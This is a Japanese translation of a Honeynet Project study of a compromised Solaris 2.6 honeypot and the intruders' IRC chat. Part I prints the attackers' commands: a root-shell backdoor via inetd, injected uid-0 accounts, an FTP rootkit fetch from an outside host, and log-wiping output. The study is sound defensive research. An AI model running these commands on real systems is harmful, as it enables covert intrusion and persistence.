motives
- Know Your Enemy: Motives
- The Motives and Psychology of the Black-hat Community
- Honeynet Project
- http://project.honeynet.org
- Last Modified: 27 June, 2000
- Translated by SHIBUYA Yoshihiro (Self-Defence Force)
- Original document is here
- この記事はKnow Your Enemyシリーズの続きである。このシリーズはクラッカー社会のツールと戦略を学ぶことを目的とする。この記事は、クラッカー社会の純粋に「何を」「どのように」に焦点を当てた前回までと異なり、彼らの使用する特定の単語(コマンド?)から、特に技術的なツール、使用法、道具、そして彼らの動機と心理状態を探求する。パート1は侵入されたSoralis2.6を使用し、パート2は滅多に公表されない、ハニーポット上で14日間繰り広げられた言動を供給する。どのように、なぜクラッカーはシステムを攻撃するのかを学ぼう。Soralis2.6システムに侵入されたら、クラッカーはIRC bot(bot - ハエの幼虫)を置いた。このクラッカーに設定され、利用されるbotは、IRCチャンネルのすべてのやりとりをキャプチャする。我々はこれらの会話を2週間以上にわたってモニタし、個人情報を探った。しかし、それがどれだけ正当な考えと行動であるかという疑問が生まれた。これはセキュリティ社会でよくある脅威であるが、他のセキュリティ関係者の一助となれば幸いである。
- この情報はハニーネットの利用法をもたらす。ハニーネットはクラッカー社会に侵されるようにデザインされた多様なハニーポットの集まりである。いくつかのハニーポットは正当なシステムをクラッカーから気をそらすため、目的はクラッカー社会のツールと戦略を学ぶためにある。特に、ユーザID、パスワード、クレジットカード番号そしてシステム名が変えられてしまうであろう。しかし、実際の技術的なツールとチャットセッションは無害化されていない。これらすべての情報は一般公開前にCERT及びFBIに通知してある。また、370を超える侵入されたと判断されるシステムに関しては、管理者に通知してある。
- Foreword , by Brad Powell
- Part I: The Compromise
- Solaris2.6のデフォルト設定のものをハニーポットに使用した。何の処置も、パッチも当てていない。パッチの当てていないSolaris2.6はデフォルトでは脆弱性が指摘されている。システムの脆弱性を特定することと、それがどのように利用されるかを学ぶことがハニーネットの目的のすべてである。利用されると、クラッカー社会の使用するツールと戦略が分かる。ハニーネット自体はクラッカーのすべての行動を記録するように設計されている。
- 2000年6月4日、我々のハニーポットはToolTalk オブジェクトデータベースサーバ(CVE-1999-0003)のバッファオーバーフローを起こすrpc.ttdbservに侵された。これはSANSのトップ10中3番目に当たる利用形態である。この攻撃はsnifferベースのIDSであるsnortによって阻止され、警告された。
- Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill:192.168.78.12:877 -> 172.16.1.107:32775
- rpc.ttdbserv攻撃はルートとしてリモートからのコマンド使用を許すバッファオーバーフロー攻撃である。次のコマンドを打たれれば、クラッカーへのバックドア設置を許すことになる。ingreslockサービス(/etc/servicesのポート1524に定義されている)は/tmp/bobファイルに加えられており、inetdはこれを設定ファイルとして読み込むようになっている。/bin/shはポート1524にバインドされ、ルートとして動き、リモートユーザにルートアクセスを許す。
- /bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
- クラッカーはバックドアを仕掛けた後、ポート1524に接続し、ルートとしてシェルにアクセスし、以下のコマンドを実行した。エラーとコントロール文字を見ると、ポーと1524番の知るは正常な環境にないことが分かる。
- # cp /etc/passwd /etc/.tp;
- ^Mcp /etc/shadow /etc/.ts;
- echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
- echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
- echo "r::10891::::::" >> /etc/shadow;
- echo "re::6445::::::" >> /etc/shadow;
- : not found
- # ^M: not found
- # ^M: not found
- # ^M: not found
- # ^M: not found
- # ^M: not found
- # who;
- rsides console May 24 21:09
- ^M: not found
- # exit;
- クラッカーは侵入したシステムに2つのアカウントを持っている。彼は今、ユーザreでtelnet接続し、uid0であるユーザrとしてスーパーユーザとなり、ルートアクセスが可能となった。ここで実際のキーストロークをレビューしてみよう。
- !"' !"P#$#$'LINUX'
- SunOS 5.6
- login: re
- Choose a new password.
- New password: abcdef
- Re-enter new password: abcdef
- telnet (SYSTEM): passwd successfully changed for re
- Sun Microsystems Inc. SunOS 5.6 Generic August 1997
- $ su r
- クラッカーは今、ルートアクセスした。普通、次のステップとして、ルートキットを入れて、システムをコントロールする。最初に、我々はクラッカーがルートキットを隠すための隠しディレクトリを作成したのを確認した。
- # mkdir /dev/".. "
- # cd /dev/".. "
- ディレクトリ作成後、クラッカーは別のシステムからルートキットを持ってきた。
- # ftp shell.example.net
- Connected to shell.example.net.
- 220 shell.example.net FTP server (Version 6.00) ready.
- Name (shell.example.net:re): j4n3
- 331 Password required for j4n3.
- Password:abcdef
- 230 User j4n3 logged in.
- ftp> get sun2.tar
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
- 226 Transfer complete.
- local: sun2.tar remote: sun2.tar
- 1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
- ftp> get l0gin
- 200 PORT command successful.
- 150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
- 226 Transfer complete.
- 226 Transfer complete.
- local: l0gin remote: l0gin
- 47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
- ftp> quit
- U221 Goodbye.
- ルートキットのダウンロードに成功すると、今度はルートキットを解凍し、インストールした。setup.shという簡単 なスクリプトによってインストールされたことに注意されたい。このスクリプトはまた、secure.shという別なスクリプトによって呼び出されている。この攻撃で使用されたSolaris rootkitはここからダウンロードできる。
- # tar -xvf sun2.tar
- x sun2, 0 bytes, 0 tape blocks
- x sun2/me, 859600 bytes, 1679 tape blocks
- x sun2/ls, 41708 bytes, 82 tape blocks
- x sun2/netstat, 6784 bytes, 14 tape blocks
- x sun2/tcpd, 19248 bytes, 38 tape blocks
- x sun2/setup.sh, 1962 bytes, 4 tape blocks
- x sun2/ps, 35708 bytes, 70 tape blocks
- x sun2/packet, 0 bytes, 0 tape blocks
- x sun2/packet/sunst, 9760 bytes, 20 tape blocks
- x sun2/packet/bc, 9782 bytes, 20 tape blocks
- x sun2/packet/sm, 32664 bytes, 64 tape blocks
- x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
- x sun2/packet/syn, 10488 bytes, 21 tape blocks
- x sun2/packet/s1, 12708 bytes, 25 tape blocks
- x sun2/packet/sls, 19996 bytes, 40 tape blocks
- x sun2/packet/smaq, 10208 bytes, 20 tape blocks
- x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
- x sun2/packet/bfile, 2875 bytes, 6 tape blocks
- x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
- x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
- x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
- x sun2/sys222, 34572 bytes, 68 tape blocks
- x sun2/m, 9288 bytes, 19 tape blocks
- x sun2/l0gin, 47165 bytes, 93 tape blocks
- x sun2/sec, 1139 bytes, 3 tape blocks
- x sun2/pico, 222608 bytes, 435 tape blocks
- x sun2/sl4, 28008 bytes, 55 tape blocks
- x sun2/fix, 10360 bytes, 21 tape blocks
- x sun2/bot2, 508 bytes, 1 tape blocks
- x sun2/sys222.conf, 42 bytes, 1 tape blocks
- x sun2/le, 21184 bytes, 42 tape blocks
- x sun2/find, 6792 bytes, 14 tape blocks
- x sun2/bd2, 9608 bytes, 19 tape blocks
- x sun2/snif, 16412 bytes, 33 tape blocks
- x sun2/secure.sh, 1555 bytes, 4 tape blocks
- x sun2/log, 47165 bytes, 93 tape blocks
- x sun2/check, 46444 bytes, 91 tape blocks
- x sun2/zap3, 13496 bytes, 27 tape blocks
- x sun2/idrun, 188 bytes, 1 tape blocks
- x sun2/idsol, 15180 bytes, 30 tape blocks
- x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
- x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
- # rm sun2.tar
- # mv l0gin sun2
- #cd sun2
- #./setup.sh
- hax0r w1th K1dd13
- Ok This thing is complete :-)
- ルートキットインストレーションは最初にクラッカーの存在を隠すためにログを消去している。
- - WTMP:
- /var/adm/wtmp is Sun Jun 4 11:47:39 2000
- /usr/adm/wtmp is Sun Jun 4 11:47:39 2000
- /etc/wtmp is Sun Jun 4 11:47:39 2000
- /var/log/wtmp cannot open
- WTMP = /var/adm/wtmp
- Removing user re at pos: 1440
- Done!
- - UTMP:
- /var/adm/utmp is Sun Jun 4 11:47:39 2000
- /usr/adm/utmp is Sun Jun 4 11:47:39 2000
- /etc/utmp is Sun Jun 4 11:47:39 2000
- /var/log/utmp cannot open
- /var/run/utmp cannot open
- UTMP = /var/adm/utmp
- Removing user re at pos: 288
- Done!
- - LASTLOG:
- /var/adm/lastlog is Sun Jun 4 11:47:39 2000
- /usr/adm/lastlog is Sun Jun 4 11:47:39 2000
- /etc/lastlog cannot open
- /var/log/lastlog cannot open
- LASTLOG = /var/adm/lastlog
- User re has no wtmp record. Zeroing lastlog..
- - WTMPX:
- /var/adm/wtmpx is Sun Jun 4 11:47:39 2000
- /usr/adm/wtmpx is Sun Jun 4 11:47:39 2000
- /etc/wtmpx is Sun Jun 4 11:47:39 2000
- /var/log/wtmpx cannot open
- WTMPX = /var/adm/wtmpx
- Done!
- - UTMPX:
- /var/adm/utmpx is Sun Jun 4 11:47:39 2000
- /usr/adm/utmpx is Sun Jun 4 11:47:39 2000
- /etc/utmpx is Sun Jun 4 11:47:39 2000
- /var/log/utmpx cannot open
- /var/run/utmpx cannot open
- UTMPX = /var/adm/utmpx
- Done!
- ./setup.sh: ./zap: not found
- ログを掃除したあと、次に我々のシステムにセキュリティを施した(なんてナイスなんだろう!)。彼らはこのシステムが脆弱であることを知っており、他の人間にせっかく侵入したシステムを横取りされたくないと思っているのだ。
- ./secure.sh: rpc.ttdb=: not found
- #: securing.
- #: 1) changing modes on local files.
- #: will add more local security later.
- #: 2) remote crap like rpc.status , nlockmgr etc..
- ./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
- ./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
- #: 3) killed statd , rpcbind , nlockmgr
- #: 4) removing them so they ever start again!
- 5) secured.
- 207 ? 0:00 inetd
- 11467 ? 0:00 inetd
- cp: cannot access /dev/../sun/bot2
- kill these processes@!#!@#!
- cp: cannot access lpq
- ./setup.sh: /dev/ttyt/idrun: cannot execute
- 次に、IRC proxyを始めた。不思議なことに後にこのプロセスを殺している。なぜか分からなかった。
- Irc Proxy v2.6.4 GNU project (C) 1998-99
- Coded by James Seter :bugs-> (Pharos@refract.com) or IRC pharos on efnet
- --Using conf file ./sys222.conf
- --Configuration:
- Daemon port......:9879
- Maxusers.........:0
- Default conn port:6667
- Pid File.........:./pid.sys222
- Vhost Default....:-SYSTEM DEFAULT-
- Process Id.......:11599
- Exit ./sys222{7} :Successfully went into the background.
- さらなるファイル変更がなされた。/bin/login,/bin/ls,/usr/sbin/netstat,/bin/ps等をコピーするようなスクリプトのトロイの木馬は見られなかった。実際に何が起こったかを確認するために、setup.shとsecure.shを確認することを勧める。ある日似たようなキットでルート化されているかも知れない。
- # kill -9 11467
- # ps -u root |grep |grep inetd inetd
- 207 ? 0:00 inetd
- # ..U/secure.sh/secure.sh
- ./secure.sh: rpc.ttdb=: not found
- #: securing.
- #: 1) changing modes on local files.
- #: will add more local security later.
- #: 2) remote crap like rpc.status , nlockmgr etc..
- ./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
- ./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
- ./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
- ./secure.sh: usage: kill [ [ -sig ] id ... | -l ]
- #: 3) killed statd , rpcbind , nlockmgr
- #: 4) removing them so they ever start again!
- 5) secured.
- # ppUs -u s -u U||U grep grep ttUtdbtdb
- Ups: option requires an argument -- u
- usage: ps [ -aAdeflcj ] [ -o format ] [ -t termlist ]
- [ -u userlist ] [ -U userlist ] [ -G grouplist ]
- [ -p proclist ] [ -g pgrplist ] [ -s sidlist ]
- 'format' is one or more of:
- user ruser group rgroup uid ruid gid rgid pid ppid pgid sid
- pri opri pcpu pmem vsz rss osz nice class time etime stime
- f s c tty addr wchan fname comm args
- # ppUs -s -UAdj | grep ttdbAdj | grep ttdb
- 最後に、クラッカーはIRC botを開始した。このbotの目的は彼らの選んだIRCチャンネルでopsを変更することを保証することにある。このbotはまた、IRCチャンネルの会話をすべて記録する。ネットワークにIRCチャットを中継するためにこのbotはインストールされたのだ。
- # ../me -f bot2
- init: Using config file: bot2
- EnergyMech 2.7.1, December 2nd, 1999
- Starglider Class EnergyMech
- Compiled on Jan 27 2000 07:06:04
- Features: DYN, NEW, SEF
- init: Unknown configuration item: "NOSEEN" (ignored)
- init: Mechs added [save2 ]
- init: Warning: save2 has no userlist, running in setup mode
- init: EnergyMech running...
- # exit;
- $ exit
- 一度botが設置されたら、彼らはシステムから去った。彼らの会話をキャプチャしたのはこのbotなのだ(Part2をみよ)。IRCとクラッカー社会のIRCとbotについてのさらなる情報は、David Brumleyの「Tracking Hackers on IRC」を参照されたい。翌週、彼らは何度かまだアクセスできるか確認するためだけに戻ってきた。1週間後の6月11日、彼らはまた接続して、システムからサービス拒否攻撃を企てた。しかし、ハニーポットは外部への攻撃をブロックするように設計されていた。ハニーポットからのサービス拒否攻撃はすべて自動的にブロックされた。
- 我々が証言したことは一般的なクラッカー社会のツールと戦略である。クラッカーはインターネット上でランダムにrpc.ttdbservのような脆弱性をスキャンする。一度発見すれば、彼らは即座に侵入し、ありふれたスクリプトを使ってルートキットをインストールする。一度侵入すると、彼らはbotをインストールし、選んだIRCチャンネルでopsを保守する。普通でなかったのは、2週間に渡り、botが我々のIRCチャットを記録したことである。次のパートでは、彼ら独自の言葉により、クラッカー社会の動機と心理を発見する。もしあなたのシステムが同じような侵入にあっていれば、このチェックリストをレビューされたい。システム被害に対するチェック法や、 リンクが説明してある。
- Part II: The IRC Chat Sessions
- 以下に示すのは、我々がD1ckとJ4n3と呼ぶ2人のクラッカーのチャットセッションの実記録である。そのほとんどが我々がK1dd13と呼んでいるIRCチャンネルで起こった。あなたはこの2人とその他多くの言動を見ることになる。以下に示すチャットセッションは日ごとに記録している。これを順番に読めば、何が起こっているかがよく分かるだろう。IRCチャンネル、IRCの刻み目、システム名及びIPアドレスは無害化してある。すべてのシステムIPアドレスはRFC1918アドレス空間に置き換え、システム名は'example'とし、すべてのクレジットカード番号は'xxxx'にしてある。IRCチャンネル、刻み目は実在のものである。ののしり語は特に変えていない。できるところは英訳してある。また、時々外国語で話している。これらチャットセッションを読むに当たり、彼らのネットワークの知識の欠如が分かるだろう。しばしば彼らの企ての中にUnixス キルの基本的なことを見出すであろう。そして、彼らは依然として多大なシステムに侵入することが可能である。この脅威は決して軽いものではない。
- Day 1, June 04
- 特定のターゲットに対する利用(踏み台)の成功と、互いにシェアする議論をチャットで始めた。
- Day 2, June 05
- D1ckとJ4n3が利用をシェアし、サービス拒否攻撃を行った。彼らがいかに多くの攻撃をネットワーク上で行っているかを自慢していることに注意されたい。彼らの1人は.eduの世界のLinuxをターゲットにしている。彼らはまた、新しいルートキットをLinuxとsparcに使うことを議論している。
- Day 3, June 06
- D1ckとJ4n3はサービス拒否攻撃を実施したことについて自慢しあっている。後にD1ckはJ4n3にドライブのマウント方法を教えている。彼らはsniffitの使用法を議論し、最後にD1ckは必死にIrix踏み台とルートキットを探していた。
- Day 4, June 07
- D1ckとJ4n3はインド(固有名詞?)にサービス拒否攻撃と踏み台設定をすることに決めた。のちに攻撃先は彼らに対し怒っている他のIRCメンバーであることが分かった。
- Day 5, June 08
- D1ckはJ4n3に3つのシステムを提供するように頼んだ。D1ckとその優秀な相棒のSp07はsnifferの同じネットワークで機能しない理由について解決しようとしていた。
- Day 6, June 09
- 彼らは忙しそうで、D1ckは40以上のシステムにルートを持っているようであった。彼らが十分にスキャンすれば、ルートを得ることができるようだ。
- Day 7, June 10
- あまり面白い情報はなかった。D1ckは新しい(メンバーの)k1dd13に悲しい気分にさせる(?)踏み台方法を教えていた。我々にはD1ckが彼自身それを使いこなせるか疑問だった。
- Day 8, June 11
- D1ckとJ4n3は独自のシステムとサービス拒否攻撃したいシステムについて議論した。D1ckは彼はpingの盲点(?)を見つけ、それはまさにk3wlであると思った。
- Day 9, June 12
- D1ckは大きなヒットを得たようで、ISPにアクセスし、5000以上の支払い情報とアカウントを入手したようである。どうやってそれをクラックするか決めたようである。
- Day 10, June 13
- Sp07は今日は盗賊に加わった。インターネット社会での友達にはなれそうにない。ちょっとインドが嫌いなようだ。
- Day 11, June 14
- ユーザパスワードのクラックと個人アカウントへのアクセスを始めた。
- Day 12, June 15 Also with Romanian Translated
- D1ckとJ4n3はドメイン名を買うために、クレジットカードチャンネルからクレジットカード番号を探した。
- Day 13, June 16 Also with Romanian Translated
- D1ckとJ4n3はまだクレジットカートチャンネルに身を乗り出している。メンバーはクレジットカード番号と、シェルアカウント、ポルノサイトを交換していた。チャットの最後には、D1ckとJ4n3は彼らのwebサイトに焦点を置いていた。
- Day 14, June 17 Also with Romanian Translated
- D1ckとJ4n3はLinuxシステムでのアカウント会得法、クレジットカードとwebサイトの構築法について話していた。
- 我々はクラッカー社会の14日間をレビューした。これはすべてのクラッカー社会がこのようなものであるというわけではない。実際、我々が追ったのは一部の人間である。しかし、この情報によっていかに多くの社会が可能であるかを分かってもらいたい。彼らは技術的に有能ではなく、または、使っているツールに明るいわけでもない。しかし多くのシステムに焦点を当てることにより、劇的な結果を彼らは挙げている。これは、脅威が軽いものではないことを示している。彼らは起こす結果に関係を持っていない(責任を持っていない)。彼らは目標に向かって突き進んでいるだけだ。
- Conclusion
- この記事の目的はクラッカー社会の手段と心理状態をあなたに示すことにある。この記事はクラックされていないSolaris2.6のハニーポットから始まった。このシステムは、ありふれたリモートからの脆弱性への攻撃を示した。一度侵入されれば、システムは即座にクラッカー社会で汎用されているルートキットによりコントロールされる。しかしこの記事で分かる特徴は、クラッカー社会の精神面である。ここに彼らの独自の単語から、彼らが無差別に攻撃し、システムにダメージを与えようとしているかが分かる。彼らは多くのシステムを探索し、見つかった弱いシステムを攻撃する。彼らの手法を理解することで、あなたは脅威からシステムを守ることができる。
- Acknowledgments
- この記事はHoneynet Projectの結果である。Honeynet Projectはクラッカー社会のツールと戦略を学ぶ小さなプロ集団であり、学んだことをセキュリティ社会でシェアしている。
- 我々はSANSのAlan Pallerにお礼を言いたい。Honeynet Projectのメンバーではないが、事実のリサーチに協力してくれた。